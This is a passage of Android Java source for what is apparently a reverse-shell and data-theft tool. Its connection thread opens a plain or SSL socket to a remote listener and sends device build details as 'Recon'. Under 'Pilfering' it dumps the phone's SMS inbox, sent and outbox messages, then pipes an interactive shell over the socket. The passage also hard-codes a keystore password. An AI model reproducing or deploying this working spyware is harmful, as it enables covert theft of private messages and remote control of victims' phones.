* @param[1]: string, Port of Listener 85 | * @param[2]: string, "true" if using SSL, any non-null value for non-SSL connection 86 | * 87 | * */ 88 | private class SecureConnectionThread extends AsyncTask { 89 | 90 | private InputStream netI; 91 | private OutputStream netO; 92 | private Socket sockfd; 93 | private SSLContext sslContext; 94 | final String deviceHost = android.os.Build.HOST; 95 | 96 | // Dump the contents of {inbox,outbox,sent} to the 97 | // connection. 98 | public String readSMSBox(String box) { 99 | Uri SMSURI = Uri.parse(Config.SMS_URL+box); 100 | Cursor cur = getContentResolver().query(SMSURI, null, null, null,null); 101 | String sms = ""; 102 | try { 103 | if (cur.moveToFirst()) { 104 | for (int i = 0; i < cur.getCount(); ++i) { 105 | // Get information in a readable format 106 | String number = cur.getString(cur.getColumnIndexOrThrow("address")); 107 | String date = cur.getString(cur.getColumnIndexOrThrow("date")); 108 | Long epoch = Long.parseLong(date); 109 | Date fDate = new Date(epoch * 1000); 110 | date = fDate.toString(); 111 | String body = cur.getString(cur.getColumnIndexOrThrow("body")); 112 | sms += "[" + number + ":" + date + "]" + body + "\n"; 113 | cur.moveToNext(); 114 | } 115 | sms += "\n"; 116 | } 117 | } catch(NullPointerException npe) { 118 | return ""; 119 | } 120 | return sms; 121 | } 122 | 123 | public String deviceInfo() { 124 | String ret = "--------------------------------------------\n"; 125 | ret += "Manufacturer: "+android.os.Build.MANUFACTURER+"\n"; 126 | ret += "Version/Release: "+android.os.Build.VERSION.RELEASE+"\n"; 127 | ret += "Product: "+android.os.Build.PRODUCT+"\n"; 128 | ret += "Model: "+android.os.Build.MODEL+"\n"; 129 | ret += "Brand: "+android.os.Build.BRAND+"\n"; 130 | ret += "Device: "+android.os.Build.DEVICE+"\n"; 131 | ret += "Host: "+android.os.Build.HOST+"\n"; 132 | ret += "--------------------------------------------\n"; 133 | return ret; 134 | } 135 | 136 | // Runs a process, handling the process's input and 137 | // output by sending/receiving IO from the socket 138 | public void runShell() throws Exception { 139 | 140 | ProcessBuilder pb = new ProcessBuilder(shellPath); 141 | pb.redirectErrorStream(true); 142 | Process shell = pb.start(); 143 | 144 | if(shell == null) { 145 | sockfd.close(); 146 | return; 147 | } 148 | 149 | ProcessIOThread p1 = new ProcessIOThread(shell.getInputStream(), netO); 150 | ProcessIOThread p2 = new ProcessIOThread(netI, shell.getOutputStream()); 151 | p1.start(); 152 | p2.start(); 153 | 154 | while(!p1.running || !p2.running) 155 | Thread.sleep(100); 156 | while(p1.running || p2.running) { 157 | Thread.sleep(100); 158 | Thread.yield(); 159 | } 160 | } // End runShell 161 | 162 | // Build SSLContext and return the secure socket 163 | protected SSLSocket getSecureSocket(String ip, int port) throws Exception { 164 | 165 | try { 166 | // Load trust 167 | KeyStore trustStore = KeyStore.getInstance(Config.KEYSTORE_TYPE); 168 | InputStream storeStream = context.getResources().openRawResource(R.raw.android); 169 | 170 | // Hard-coded password. Not proud of it, but it only 171 | // exists in memory for a split second. 172 | char[] password = "thepasswordgoes".toCharArray(); 173 | trustStore.load(storeStream, password); 174 | Arrays.fill(password, '0'); 175 | 176 | TrustManagerFactory tmf = TrustManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); 177 | tmf.init(trustStore); 178 | storeStream.close(); 179 | 180 | // Create SSL Context 181 | sslContext = SSLContext.getInstance(Config.SSL_CONTEXT_TYPE); 182 | sslContext.init(null, tmf.getTrustManagers(), null); 183 | SSLSocketFactory sslsf = sslContext.getSocketFactory(); 184 | SSLSocket retSocket = (SSLSocket) sslsf.createSocket(ip, port); 185 | String[] supported = retSocket.getSupportedCipherSuites(); 186 | retSocket.setEnabledCipherSuites(supported); 187 | return retSocket; 188 | 189 | } catch(GeneralSecurityException e) { 190 | throw new IOException("Unable to create socket."); 191 | } 192 | } // End getSecureSocket 193 | 194 | @Override 195 | protected String doInBackground(String... params) { 196 | String ret = "Error."; 197 | try { 198 | if(params[2].compareTo(Config.USE_SSL_TRUE) == 0) { 199 | sockfd = getSecureSocket(params[0], Integer.parseInt(params[1])); 200 | 201 | // Enable Cipher Suites 202 | String[] supported = ((SSLSocket) sockfd).getSupportedCipherSuites(); 203 | ((SSLSocket)sockfd).setEnabledCipherSuites(supported); 204 | 205 | } else { 206 | sockfd = new Socket(params[0], Integer.parseInt(params[1])); 207 | } 208 | 209 | // PING with the name of the deviceHost 210 | DataOutputStream dOut = new DataOutputStream(sockfd.getOutputStream()); 211 | dOut.writeBytes(deviceHost+"\r\n"); 212 | 213 | netI = sockfd.getInputStream(); 214 | netO = sockfd.getOutputStream(); 215 | 216 | // Recon 217 | dOut.writeBytes(deviceInfo()); 218 | dOut.flush(); 219 | 220 | // Pilfering 221 | dOut.writeBytes("[>] SMS Inbox:\r\n"+readSMSBox("inbox")); 222 | dOut.writeBytes("[>] SMS Sent:\r\n"+readSMSBox("sent")); 223 | dOut.writeBytes("[>] SMS Outbox:\r\n"+readSMSBox("outbox")); 224 | dOut.writeBytes("[>] Sending shell, type your commands here:\r\n"); 225 | dOut.flush(); 226 | 227 | // More Fun 228 | runShell(); 229 | 230 | sockfd.close(); 231 | } catch(Exception e) { 232 | return e.toString(); 233 | } 234 | return ret; 235 | } 236 | 237 | @Override 238 | protected void onPostExecute(String result) { 239 | outputText.setText(result); 240 | } 241 | } // End SecureConnectionThread 242 | 243 | // ---------------------------------------------- // 244 | // Subclass: Used to duplex socket IO/Process IO // 245 | // ---------------------------------------------- // 246 | private class ProcessIOThread extends Thread { 247 | 248 | private InputStream input; 249 | private OutputStream output; 250 | private boolean running; 251 | 252 | public ProcessIOThread(InputStream i, OutputStream o) { 253 | running = false; 254 | input = i; 255 | output = o; 256 | } 257 | 258 | @Override 259 | public void run() { 260 | running = true; 261 | try { 262 | byte buff[] = new byte[8192]; 263 | int count = input.read(buff); 264 | while(count > 0) { 265 | output.write(buff, 0, count); 266 | output.flush(); 267 | count = input.read(buff); 268 | } 269 | 270 | } catch(Exception e) { 271 | outputText.setText(e.toString()); 272 | } 273 | 274 | running = false; 275 | } 276 | } 277 | } --------------------------------------------------------------------------------